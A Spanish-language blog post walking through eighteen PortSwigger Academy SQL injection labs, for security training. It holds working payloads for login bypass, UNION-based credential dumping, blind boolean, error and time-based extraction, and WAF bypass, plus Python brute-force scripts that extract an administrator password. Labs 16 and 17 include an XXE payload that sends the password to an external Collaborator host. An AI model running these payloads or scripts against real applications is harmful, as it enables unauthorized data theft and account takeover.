Post

SQL Injection

La inyección SQL (SQLi) es una vulnerabilidad de seguridad web que permite a un atacante interferir con las consultas que una aplicación realiza a su base de datos. Esto puede permitir que un atacante vea datos a los que normalmente no podría acceder.

SQL Injection

SQL Injection

Lab 1: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

This lab contains a SQL injection vulnerability in the product category filter. When the user selects a category, the application carries out a SQL query like the following: SELECT * FROM products WHERE category = ‘Gifts’ AND released = 1 To solve the lab, perform a SQL injection attack that causes the application to display one or more unreleased products.

1
SELECT * FROM products WHERE category = 'Gifts' AND released = 1

Esta consulta busca todos los registros en la tabla products donde la columna category es igual a Gifts y la columna released es igual a 1.

Si se introduce ' OR 1=1-- - de la siguiente manera:

1
SELECT * FROM products WHERE category = '' OR 1=1--' AND released = 1;

La consulta resultante puede devolver todos los productos en la tabla products, y no solo los de la categoría Gifts.

  • ': Cierra la cadena para category.

  • OR 1=1: Esta condición siempre es verdadera, ya que 1 siempre es igual a 1, lo que significa que se seleccionarán todos los productos sin importar la categoría.

  • -- -: Este es un comentario en SQL que ignora cualquier parte posterior de la consulta, por lo que la condición sobre released también queda sin verificar.

https://portswigger.net/web-security/sql-injection#retrieving-hidden-data

https://portswigger.net/web-security/sql-injection/cheat-sheet

Lab 2: SQL injection vulnerability allowing login bypass

This lab contains a SQL injection vulnerability in the login function. To solve the lab, perform a SQL injection attack that logs in to the application as the administrator user.

En este caso se debe iniciar sesion bypaseando la contraseña. La web comprueba las credenciales realizando la siguiente consulta SQL:

1
SELECT * FROM users WHERE username = '' AND password = ''

Es posible iniciar sesión como cualquier usuario sin necesidad de una contraseña.

1
administrator'--

Esta injeccion altera la query comentando AND password = ''. Por lo tanto, la parte que verifica la contraseña se omite. Aunque es importante que el usuario sea valido.

La consulta final seria:

1
SELECT name FROM users WHERE username = 'administrator'--'

https://portswigger.net/web-security/sql-injection#subverting-application-logic

https://portswigger.net/web-security/sql-injection/cheat-sheet

Lab 3: SQL injection attack, querying the database type and version on Oracle

This lab contains a SQL injection vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query. To solve the lab, display the database version string.

Es posible identificar tanto el tipo como la versión de la base de datos inyectando consultas específicas.

1
' union select NULL,NULL from dual--

En el caso de Oracle, de debe indicar una tabla en todo momento, dual es una tabla presente de manera predeterminada.

Esta consulta permite verificar si la inyección puede ser exitosa.

Y con la siguiente consulta se puede obtener la versión de la base de datos

1
' union select NULL,banner from v$version--

https://portswigger.net/web-security/sql-injection#examining-the-database

https://portswigger.net/web-security/sql-injection/examining-the-database

https://portswigger.net/web-security/sql-injection/cheat-sheet

Lab 4: SQL injection attack, querying the database type and version on MySQL and Microsoft

This lab contains a SQL injection vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query.

To solve the lab, display the database version string.

Ahora, en el caso de MySQL y Microsoft, no es necesario indicar una tabla.

1
' union select NULL,NULL-- -

Para determinar la base de datos, se utiliza esta query:

1
' union select NULL,@@version-- -

https://portswigger.net/web-security/sql-injection#examining-the-database

https://portswigger.net/web-security/sql-injection/examining-the-database

https://portswigger.net/web-security/sql-injection/cheat-sheet

Lab 5: SQL injection attack, listing the database contents on non-Oracle databases

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response so you can use a UNION attack to retrieve data from other tables.

The application has a login function, and the database contains a table that holds usernames and passwords. You need to determine the name of this table and the columns it contains, then retrieve the contents of the table to obtain the username and password of all users.

To solve the lab, log in as the administrator user.

1
' union select NULL,NULL--

La mayoría de los tipos de bases de datos (excepto Oracle) cuentan con lo denominado “esquema de información” (information schema), que proporciona información sobre la base de datos.

Es posible hacer una consulta para listar, en este caso, la base de datos.

  • schema_name: Se refiere a la columna que contiene los nombres de los schemas en (information_schema.schemata).

  • information_schema: Es un schema que contiene metadatos sobre la base de datos, incluyendo tablas, columnas, y schemas.

1
' union select NULL,schema_name from information_schema.schemata--

Ahora, en vez de listar solo por la base de datos, se puede filtrar por el schema public esto deberia devolver una lista de los nombres de las tablas en ese schema.

  • table_name: Se refiere a la columna que contiene los nombres de las tablas.

  • information_schema.tables: Contiene información sobre todas las tablas en la base de datos.

  • WHERE table_schema='public': Filtra las tablas para que solo se devuelvan aquellas que están en el schema public.

1
' union select NULL,table_name from information_schema.tables where table_schema='public'--

Con la misma logica anterior, a medida que voy encontrando nueva informacion, la utilizo para llegar a dumpear datos sensibles.

  • column_name: Se refiere a la columna que contiene los nombres de las columnas en una tabla.

  • information_schema.columns: Este schema contiene información sobre todas las columnas de las tablas en la base de datos.

  • AND table_name='users_xvjqcx': Filtra para obtener solo las columnas de la tabla específica llamada users_xvjqcx.

1
' union select NULL,column_name from information_schema.columns where table_schema='public' AND table_name='users_xvjqcx'--

Conociendo el valor de las columnas donde se guardan los usuarios y la contraseñas, se puede hacer la siguiente query:

1
' union select NULL,concat(username_mzomwc,':',password_rvltqt) from users_xvjqcx--

Esta consulta está diseñada para recuperar tanto el nombre de usuario como la contraseña de la tabla ‘users_xvjqcx’ y devolverlos en un solo valor concatenado.

https://portswigger.net/web-security/sql-injection/union-attacks

https://portswigger.net/web-security/sql-injection/examining-the-database#listing-the-contents-of-the-database

https://portswigger.net/web-security/sql-injection/union-attacks#using-a-sql-injection-union-attack-to-retrieve-interesting-data

https://portswigger.net/web-security/sql-injection/cheat-sheet

Lab 6: SQL injection attack, listing the database contents on Oracle

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response so you can use a UNION attack to retrieve data from other tables.

The application has a login function, and the database contains a table that holds usernames and passwords. You need to determine the name of this table and the columns it contains, then retrieve the contents of the table to obtain the username and password of all users.

To solve the lab, log in as the administrator user.

1
' union select NULL,NULL from dual--

Esta consulta, sirve para recibir informacion sobre todas las tablas accesibles en una base de datos Oracle.

1
' union select table_name,NULL from all_tables--

La idea con la siguiente query, es intentar obtener información sobre los propietarios de las tablas.

1
' union select owner,NULL from all_tables--

De esta forma dumpeo las tablas donde el usuario PETER es propietario.

1
' union select table_name,NULL from all_tables where owner='PETER'--

Lo mismo que antes, enumerar columnas y concatenar los datos.

1
' union select column_name,NULL from all_tab_columns where table_name='USERS_ALOPDA'--

1
' union select USERNAME_KSODRZ||':'||PASSWORD_YYUEIR,NULL from USERS_ALOPDA--

Por ultimo dumpeo la infomacion de las columnas (USERNAME_KSODRZ) y (PASSWORD_YYUEIR), que estan dentro de la tabla (USERS_ALOPDA).

https://portswigger.net/web-security/sql-injection#retrieving-data-from-other-database-tables

https://portswigger.net/web-security/sql-injection/union-attacks

https://portswigger.net/web-security/sql-injection/examining-the-database#listing-the-contents-of-the-database

https://portswigger.net/web-security/sql-injection/cheat-sheet

Lab 7:SQL injection UNION attack, determining the number of columns returned by the query

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response, so you can use a UNION attack to retrieve data from other tables. The first step of such an attack is to determine the number of columns that are being returned by the query. You will then use this technique in subsequent labs to construct the full attack.

To solve the lab, determine the number of columns returned by the query by performing a SQL injection UNION attack that returns an additional row containing null values.

Cuando se realiza una inyección SQL de tipo UNION, hay dos métodos efectivos para determinar cuántas columnas se devuelven de la consulta original.

Una forma de determinar el número de columnas en la consulta original es usando la cláusula ORDER BY.

  • ORDER BY: Permite probar la cantidad de columnas al intentar ordenar por ellas, detectando errores cuando el número excede el total de columnas disponibles.
1
' order by 3--

La otra forma, es usando el operador UNION, se usa para combinar los resultados de dos o más consultas. Para que esto funcione, ambas consultas deben devolver el mismo número de columnas.

  • UNION SELECT: Permite intentar diferentes números de columnas hasta encontrar la cantidad correcta.

  • NULL: Hace referncia a valor nulo. Se usa para llenar un campo si no se está seleccionando un valor específico.

1
' union select NULL,NULL,NULL--

https://portswigger.net/web-security/sql-injection/union-attacks#determining-the-number-of-columns-required

https://portswigger.net/web-security/sql-injection/cheat-sheet

Lab 8: SQL injection UNION attack, finding a column containing text

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you first need to determine the number of columns returned by the query. You can do this using a technique you learned in a previous lab. The next step is to identify a column that is compatible with string data.

The lab will provide a random value that you need to make appear within the query results. To solve the lab, perform a SQL injection UNION attack that returns an additional row containing the value provided. This technique helps you determine which columns are compatible with string data.

Una vez que se conoce cuántas columnas devuelve la consulta original, se puede probar cada columna para ver si puede contener datos de tipo cadena.

Esto permite determinar cuál de las columnas puede aceptar datos de tipo cadena. En este caso, el segundo campo es injectable.

1
' union select NULL,'TYl4it',NULL--

https://portswigger.net/web-security/sql-injection/union-attacks#finding-columns-with-a-useful-data-type

https://portswigger.net/web-security/sql-injection/cheat-sheet

Lab 9: SQL injection UNION attack, retrieving data from other tables

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you need to combine some of the techniques you learned in previous labs.

The database contains a different table called users, with columns called username and password.

To solve the lab, perform a SQL injection UNION attack that retrieves all usernames and passwords, and use the information to log in as the administrator user.

Puedo intuir que existen dos columnas en la categoria Tech gifts, una columna para los titulos y otra para los textos.

Por tanto, la siguiente query debe ser valida:

1
' union select NULL,NULL--

Ambos campos son injectables.

1
' union select 'test',NULL--
1
' union select NULL,'test'--

Lo que sigue seria listar schemas, tablas y columnas.

1
' union select NULL,schema_name from information_schema.schemata--

1
' union select NULL,table_name from information_schema.tables

1
' union select NULL,table_name from information_schema.tables where table_schema='public'--

1
' union select NULL,column_name from information_schema.columns where table_schema='public' and table_name='users'--

Dado que ambas columnas son injectables puedo utilizar esta query.

1
' union select username,password from users--

https://portswigger.net/web-security/sql-injection/union-attacks

https://portswigger.net/web-security/sql-injection/cheat-sheet

Lab 10: SQL injection UNION attack, retrieving multiple values in a single column

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response so you can use a UNION attack to retrieve data from other tables.

The database contains a different table called users, with columns called username and password.

To solve the lab, perform a SQL injection UNION attack that retrieves all usernames and passwords, and use the information to log in as the administrator user.

Lo mismo de antes.

1
' union select NULL,NULL--

1
' union select NULL,schema_name from information_schema.schemata--

1
' union select NULL,table_name from information_schema.tables where table_schema='public'--

1
' union select NULL,column_name from information_schema.columns where table_schema='public' and table_name='users'--

En este caso se debe concatenar los valores, ya que solo cuento con una única columna.

La sintaxis puede variar dependiendo del tipo de base de datos.

1
' union select NULL,concat(username,':',password) from users--

https://portswigger.net/web-security/sql-injection/union-attacks

https://portswigger.net/web-security/sql-injection/union-attacks#retrieving-multiple-values-within-a-single-column

https://portswigger.net/web-security/sql-injection/cheat-sheet

SQL Injection Blind

Lab 11: Blind SQL injection with conditional responses

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.

The results of the SQL query are not returned, and no error messages are displayed. But the application includes a Welcome back message in the page if the query returns any rows.

The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.

To solve the lab, log in as the administrator user.

Al realizar SQL Blind no se obtienen datos directamente. En su lugar, se debe inferir información a partir de la respuesta de la web.

1
select trackingid from trackingid Table where trackingid='ljkdalksdnjcl'

1
'

1
' --

Al enviar diferentes condiciones, se puede deducir si los datos existen en la base de datos solo a través de la respuesta de la web.

La condición (1=1) es siempre verdadera. Por lo tanto, si el (TrackingId) es válido, la consulta devuelve resultados. La aplicación responde con (Welcome back).

1
' and 1=1--

En cambio la condición (1=2) es siempre falsa. Aunque el (TrackingId) sea valido, la consulta no devuelve resultados y, por lo tanto, la web no muestra el mensaje (Welcome back).

1
' and 2=1--

Al inyectar esta condición, se esta introduciendo una subconsulta que intenta recuperar un valor de la tabla (users), específicamente del usuario cuyo username es (administrator). Si existe un usuario con el nombre de usuario (administrator), esta subconsulta devolverá (a). Luego se compara el resultado de la subconsulta con ='a.

Por tanto, si la subconsulta devuelve (a), la condición es verdadera y la web responde con (Welcome back).

1
' and (select 'a' from users where username='administrator')='a

A diferencia de la query anterior, ahora la subconsulta devuelve el primer carácter del username del usuario (administrator). Esto significa que se está buscando un carácter específico en el nombre de usuario.

Por tanto, como el primer (1) digito de (administrator) es = (a), la condicion es verdadera y la web responde con (Welcome back).

1
' and (select substring(username,1,1) from users where username='administrator')='a

Para ejemplificar, si defino que el segundo (2) digito de (administrator) es = (a), la condicion es falsa y la web no responde con (Welcome back).

1
' and (select substring(username,2,1) from users where username='administrator')='a

Si quiero que la consulta sea nuevamente verdadera, puedo cambiar la comparacion ='d. Porque el segundo (2) digito de (administrator) es = (d).

1
' and (select substring(username,2,1) from users where username='administrator')='d

Usando la misma logica, con estas dos variables, es posible extraer la contraseña modificando la comparacion =' y utilizando un lista de la (a-z) y del (0-9).

1
' and (select substring(password,1,1) from users where username='administrator')='a

Se identifica que el primer digito de la contraseña es una (i) debido a la longitud de la respuesta (length). Como la condicion es valida, la web responde con (Welcome back) lo que genera que alla una diferencia en la longitud de la web.

Otro punto importante, es identificar la longitud de la contraseña.

Para eso se puede utilizar la siguiente consulta:

1
' and (select 'a' from users where username='administrator' and length(password)>=20)='a

Para dumpear la contraseña del administrador, es posible usar el intruder de Burp Suite como hice anteriormente o el siguiente script en python.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/python3

from pwn import *
import requests, signal, time, pdb, sys, string

def def_handler(sig, frame):
	print("\n\n[!] Saliendo ...\n")
	sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

# URL
main_url = "https://0a73006a048d41e7806c1c8d00940094.web-security-academy.net" 
characters = string.ascii_lowercase + string.digits


def maKeRequest():
	
	password = ""
	
	p1 = log.progress("Fuerza bruta")
	p1.status("Iniciando ataque de fuerza bruta")
	
	time.sleep(2)
	
	p2 = log.progress("Password")
	
	for position in range(1,21):
		for character in characters:
		
			# Cookie
			cookies = {
				'TrackingId': "XPkeJc0lmDX0BXUO' and (select substring(password,%d,1) from users where username='administrator')='%s" % (position, character),
				'session': 'desw7N0FxdExwTyc0JkDfTeZwWld5QPf'
			}
			
			p1.status(cookies['TrackingId'])
			
			r = requests.get(main_url, cookies=cookies)
			
			if "Welcome back!" in r.text:
				password += character
				p2.status(password)
				break

if __name__ == '__main__':

	maKeRequest()

https://portswigger.net/web-security/sql-injection/blind#exploiting-blind-sql-injection-by-triggering-conditional-responses

https://portswigger.net/web-security/sql-injection/cheat-sheet

Lab 12: Blind SQL injection with conditional errors

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.

The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows. If the SQL query causes an error, then the application returns a custom error message.

The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.

To solve the lab, log in as the administrator user.

Una forma de explotar esta vulnerabilidad, es forzar a la base de datos a generar un error que cambie la respuesta de la aplicación. Esto se logra modificando la consulta para que cause un error solo si una condición es verdadera.

La primera inyección xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a' no provoca un error, ya que (1=2) es falso, por tanto (ELSE), la consulta devuelve (a).

La segunda inyección xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a' sí provoca un error porque (1=1) es verdadero, por tanto (THEN), se intenta dividir entre cero, lo que genera el error.

Un atacante puede intentar provocar errores en el sistema. La idea es que ciertos errores pueden hacer que la aplicación responda de manera diferente. Si se produce un error, eso puede significar que una condición específica es verdadera. Si no hay error, significa que esa condición es falsa. De esta manera, se puede ir deduciendo información sobre la estructura de la base de datos o los datos que contiene.

1
'

1
''

1
'||(select '' from dual)||'

1
'||(select '' from users where rownum=1)||'

1
'||(select '' from users where username='administrator')||'

La consulta intenta forzar un error de división por cero. Primero, verifica si hay un usuario con el nombre (administrator). Si el usuario existe, la parte to_char(1/0) se ejecuta provocando un error, ya que se intenta dividir por cero.

1
'||(select case when (1=1) then to_char(1/0) else '' end from users where username='administrator')||'

El codigo de estado 500 "Internal Server Error" me indica que la contraseña tiene una longitud de caracteres menor o igual a 20 (>=20).

1
'||(select case when (1=1) then to_char(1/0) else '' end from users where username='administrator' and length(password)>=20)||'

El codigo de estado 200 "Ok" me indica que la contraseña no tiene una longitud de caracteres menor O igual a 21 (>=21).

1
'||(select case when (1=1) then to_char(1/0) else '' end from users where username='administrator' and length(password)>=21)||'

La expresión substr(username,1,1) extrae el primer carácter del nombre de usuario. En este caso, el primer carácter de administrator es a. La consulta usa case when substr(username,1,1)='a', como el primer carácter de (administrator) efectivamente es (a), esta condición será verdadera. Debido a que la condición es verdadera, se ejecuta to_char(1/0), lo que provocará un error.

1
'||(select case when substr(username,1,1)='a' then to_char(1/0) else '' end from users where username='administrator')||'

Es igual para la contraseña.

1
'||(select case when substr(password,1,1)='a' then to_char(1/0) else '' end from users where username='administrator')||'

Para acelerar la extracción de la contraseña, se puede reutilizar el script anterior.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/python3

from pwn import *
import requests, signal, time, pdb, sys, string

def def_handler(sig, frame):
	print("\n\n[!] Saliendo ...\n")
	sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "https://0ae700d003dd8acc829f25eb00a00041.web-security-academy.net"
characters = string.ascii_lowercase + string.digits


def maKeRequest():
	
	password = ""
	
	p1 = log.progress("Fuerza bruta")
	p1.status("Iniciando ataque de fuerza bruta")
	
	time.sleep(2)
	
	p2 = log.progress("Password")
	
	for position in range(1,21):
		for character in characters:
		
			cookies = {
				'TrackingId': "o3pEpkSA7E0m2OgN'||(select case when substr(password,%d,1)='%s' then to_char(1/0) else '' end from users where username='administrator')||'" % (position, character),
				'session': 'N7X7ZSMpZ5AwAIVb9iUkhaYgN3hXVYj5'
			}
			
			p1.status(cookies['TrackingId'])
			
			r = requests.get(main_url, cookies=cookies)
			
			if r.status_code == 500:
				password += character
				p2.status(password)
				break

if __name__ == '__main__':

	maKeRequest()

https://portswigger.net/web-security/sql-injection/blind#error-based-sql-injection

https://portswigger.net/web-security/sql-injection/cheat-sheet

Lab 13: Visible error-based SQL injection

This lab contains a SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie. The results of the SQL query are not returned.

The database contains a different table called users, with columns called username and password. To solve the lab, find a way to leak the password for the administrator user, then log in to their account.

La inyección SQL basada en errores aprovecha mensajes de error visibles para filtrar información sensible de la base de datos.

Enviando un valor malformado como el siguiente:

1
TrackingId=CxmtB9zLb0W6zdha'

La aplicación devuelve un error visible. El error indica que la consulta SQL está mal formada debido a una cadena sin terminar.

Usando un comentario SQL --, se cierra el resto de la consulta y se estabiliza el SQL.

1
TrackingId=CxmtB9zLb0W6zdha'--

Esto elimina el error y confirma la vulnerabilidad.

Al probar con una subconsulta que devuelve un número. Se obtiene un error indicando que la cláusula AND necesita un valor booleano y no un entero.

1
TrackingId=CxmtB9zLb0W6zdha' and cast((select 1) as int)--

Corrigiendo la condición lógica, la aplicación responde sin errores, confirmando que las subconsultas son válidas

1
TrackingId=CxmtB9zLb0W6zdha' and 1=cast((select 1) as int)--

Al intentar extraer el username de la tabla users, la consulta falla debido a que el valor original de TrackingId (CxmtB9zLb0W6zdha) interfiere con la inyección. La consulta resultante intenta utilizar tanto el valor inicial como la subconsulta, lo que complica la ejecución y genera errores.

1
TrackingId=CxmtB9zLb0W6zdha' and 1=cast((select username from users) as int)--

Ahora, cuando se intenta extraer el username de la tabla users se genera un error. La subconsulta devuelve múltiples filas. El problema es que el valor administrator devuelto por la subconsulta username no puede ser utilizado ya que se espera un valor de tipo numérico.

1
TrackingId=' and 1=cast((select username from users) as int)--

Usando LIMIT 1, se obtiene el primer registro. El error ahora muestra el valor de username. La aplicación intenta convertir el texto administrator a un entero, lo que genera un error visible revelando el valor administrator.

1
TrackingId=' and 1=cast((select username from users limit 1) as int)--

Nuevamente, el error ocurre porque la contraseña no puede convertirse a un entero.

1
TrackingId=' and 1=cast((select password from users limit 1) as int)--

https://portswigger.net/web-security/sql-injection/blind#error-based-sql-injection

https://portswigger.net/web-security/sql-injection/cheat-sheet

Lab 14: Blind SQL injection with time delays

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.

The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it is possible to trigger conditional time delays to infer information.

To solve the lab, exploit the SQL injection vulnerability to cause a 10 second delay.

La inyección SQL basada en tiempo ocurre cuando los resultados de una consulta SQL no son visibles directamente en la respuesta de la aplicación, pero es posible inferir información de la base de datos mediante cambios en el tiempo de respuesta.

El campo inyectable es nuevamente el valor de la cookie TrackingId. En este caso, se verifica que el servidor sea vulnerable a PostgreSQL mediante el siguiente payload, que introduce un retraso de 10 segundos:

1
'||pg_sleep(10)--

Al enviar la solicitud, la respuesta de la aplicación tarda 10 segundos en completarse, lo que confirma la existencia de la vulnerabilidad de inyección SQL basada en tiempo.

https://portswigger.net/web-security/sql-injection/blind#exploiting-blind-sql-injection-by-triggering-time-delays

https://portswigger.net/web-security/sql-injection/cheat-sheet

Lab 15: Blind SQL injection with time delays and information retrieval

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.

The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it is possible to trigger conditional time delays to infer information.

The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.

To solve the lab, log in as the administrator user.

Para comprobar si la aplicación es vulnerable, se introduce un retraso de 10 segundos en la consulta utilizando pg_sleep(10) de PostgreSQL. Si la respuesta del servidor tarda 10 segundos, significa que la inyección SQL es posible.

1
'||pg_sleep(10)--

Se usa una consulta condicional para comprobar si administrator está en la base de datos. Si existe, la respuesta tardará 5 segundos. Si el usuario no existiera, la consulta devolvería 0 y la respuesta sería inmediata.

1
'||(select case when (1=1) then pg_sleep(5) else pg_sleep(0) end from users where username='administrator')--

Para averiguar si la contraseña tiene al menos 20 caracteres. Si la respuesta tarda 5 segundos, significa que la longitud de la contraseña es 20 o más. Este proceso se repite con diferentes valores hasta encontrar la longitud exacta.

1
'||(select case when (1=1) then pg_sleep(5) else pg_sleep(0) end from users where username='administrator' and length(password)>=20)--

Para determinar si el primer carácter del nombre de usuario (username) es a, se usa la función substr. Si la condición es verdadera, la consulta provoca un retraso de 5 segundos en la respuesta del servidor. Si la respuesta es inmediata, el carácter no coincide y se prueba con b, c, etc.

1
'||(select case when substr(username,1,1)='a' then pg_sleep(5) else pg_sleep(0) end from users where username='administrator')

El mismo enfoque se aplica para extraer los caracteres de la contraseña del usuario administrator. Usando substr(password,1,1), se compara el primer carácter con a. Si el servidor tarda 5 segundos, el primer carácter de la contraseña es a. Si la respuesta es inmediata, el carácter no coincide y se prueba con las siguientes letras b, c, etc. Este proceso se repite para los siguientes caracteres de la contraseña, utilizando substr(password,2,1), substr(password,3,1), etc, hasta reconstruir la contraseña completa.

1
'||(select case when substr(password,1,1)='a' then pg_sleep(5) else pg_sleep(0) end from users where username='administrator')

Para acelerar la extracción de la contraseña, se puede reutilizar el script anterior.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/python3

from pwn import *
import requests, signal, time, pdb, sys, string

def def_handler(sig, frame):
	print("\n\n[!] Saliendo ...\n")
	sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "https://0ab5004703ae70cd8341ce9400bc008e.web-security-academy.net"
characters = string.ascii_lowercase + string.digits


def maKeRequest():
	
	password = ""
	
	p1 = log.progress("Fuerza bruta")
	p1.status("Iniciando ataque de fuerza bruta")
	
	time.sleep(2)
	
	p2 = log.progress("Password")
	
	for position in range(1,21):
		for character in characters:
		
			cookies = {
				'TrackingId' : "BpLs3P0GXoJz90ek'||(select case when substr(password,%d,1)='%s' then pg_sleep(3) else pg_sleep(0) end from users where username='administrator')--" % (position, character),
				'session' : "5gAKzuwmCtgwxIEF8Msrc3bqnE4dkOub"
			}
			
			p1.status(cookies['TrackingId'])
			
			time_start = time.time()
			
			r = requests.get(main_url, cookies=cookies)
			
			time_end = time.time()

			if time_end - time_start > 3:
				password += character
				p2.status(password)
				break

if __name__ == '__main__':

	maKeRequest()

https://portswigger.net/web-security/sql-injection/blind#exploiting-blind-sql-injection-by-triggering-time-delays

https://portswigger.net/web-security/sql-injection/cheat-sheet

Lab 16: Blind SQL injection with out-of-band interaction

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.

The SQL query is executed asynchronously and has no effect on the application’s response. However, you can trigger out-of-band interactions with an external domain.

To solve the lab, exploit the SQL injection vulnerability to cause a DNS lookup to Burp Collaborator.

La inyección OAST-SQL ocurre cuando una aplicación permite la inyección de consultas SQL, pero no proporciona respuestas directas a la interacción del atacante. En lugar de eso, el atacante puede provocar efectos secundarios observables, como cambios en el comportamiento de la aplicación o interacciones externas.

  • Interceptar la petición HTTP con Burp Suite y modificar la cookie TrackingId.

  • Insertar una carga maliciosa en TrackingId para forzar una consulta DNS a un servidor externo (Burp Collaborator). Se puede utilizar una técnica que combina SQL Injection con XXE:

1
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--
  • Sustituir BURP-COLLABORATOR-SUBDOMAIN por una dirección generada en Burp Collaborator.

  • Enviar la solicitud y verificar en Burp Collaborator si se ha recibido la consulta DNS.

https://portswigger.net/web-security/sql-injection/blind#exploiting-blind-sql-injection-using-out-of-band-oast-techniques

https://portswigger.net/web-security/sql-injection/cheat-sheet

Lab 17: Blind SQL injection with out-of-band data exfiltration

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.

The SQL query is executed asynchronously and has no effect on the application’s response. However, you can trigger out-of-band interactions with an external domain.

The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.

To solve the lab, log in as the administrator user.

  • Usamos Burp Suite para interceptar la solicitud que contiene el cookie TrackingId. Esto nos permitirá modificar el valor de TrackingId e inyectar un payload de SQL para realizar una consulta maliciosa.

  • Se cambia el valor del cookie TrackingId a un payload que provoca una interacción con un servidor controlado por el atacante. Un ejemplo de payload sería:

1
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--

Este payload combina SQL Injection con técnicas de XXE (External Entity Injection) para realizar una consulta a la base de datos y exfiltrar la contraseña del usuario administrador al dominio de Burp Collaborator.

  • En Burp Suite, al modificar el TrackingId, seleccionamos “Insert Collaborator payload” para insertar el subdominio de Burp Collaborator en el payload. Esto hará que el servidor se comunique con ese subdominio cuando la consulta se ejecute.

  • Después de enviar la solicitud, el servidor ejecutará la consulta de forma asíncrona, lo que significa que la respuesta no será inmediata. Debemos esperar unos segundos y luego ir a la pestaña Collaborator en Burp Suite, donde podemos hacer clic en “Poll now” para buscar interacciones. Estas interacciones pueden ser DNS o HTTP, y nos mostrarán el nombre de dominio consultado.

  • En las interacciones DNS o HTTP, el subdominio que se consulta tendrá la contraseña del administrador. En el caso de interacciones DNS, el dominio completo será visible en la pestaña de Descripción. Para interacciones HTTP, el nombre del dominio aparecerá en el encabezado Host en la pestaña Request to Collaborator.

  • Una vez que se obtiene la contraseña, se puede acceder al perfil del administrador en la página web, completando así el laboratorio.

https://portswigger.net/web-security/sql-injection/blind#exploiting-blind-sql-injection-using-out-of-band-oast-techniques

https://portswigger.net/web-security/sql-injection/cheat-sheet

Lab 18: SQL injection with filter bypass via XML encoding

This lab contains a SQL injection vulnerability in its stock check feature. The results from the query are returned in the application’s response, so you can use a UNION attack to retrieve data from other tables.

The database contains a users table, which contains the usernames and passwords of registered users. To solve the lab, perform a SQL injection attack to retrieve the admin user’s credentials, then log in to their account.

En este caso, la vulnerabilidad se encuentra en el parámetro storeId, que la aplicación recibe en formato XML.

La solicitud inyecta una declaración UNION SELECT para intentar obtener información de otras tablas, comenzando por probar el número de columnas que se retornan en la consulta original.

1
union select NULL--

La respuesta es bloqueada debido a que el sistema detecta que la solicitud puede ser un ataque.

Se puede ofuscar la carga útil utilizando entidades XML. Para esto, utilizo la extensión Hackvertor en Burp Suite. Con esta extensión, se puede codificar la carga útil en formato hex_entities, lo que ayudará a evadir el WAF.

Bypasseado el WAF, puedo continuar con el ataque UNION para enumerar la base de datos.

1
unions select schema_name from information_schema.schemata--

1
union select table_name from information_schema.tables where table_schema='public'--

1
union select column_name from information_schema.columns where table_schema='public' and table_name='users'--

1
union select password from users where username='administrator'--

https://portswigger.net/web-security/sql-injection/cheat-sheet

This post is licensed under CC BY 4.0 by the author.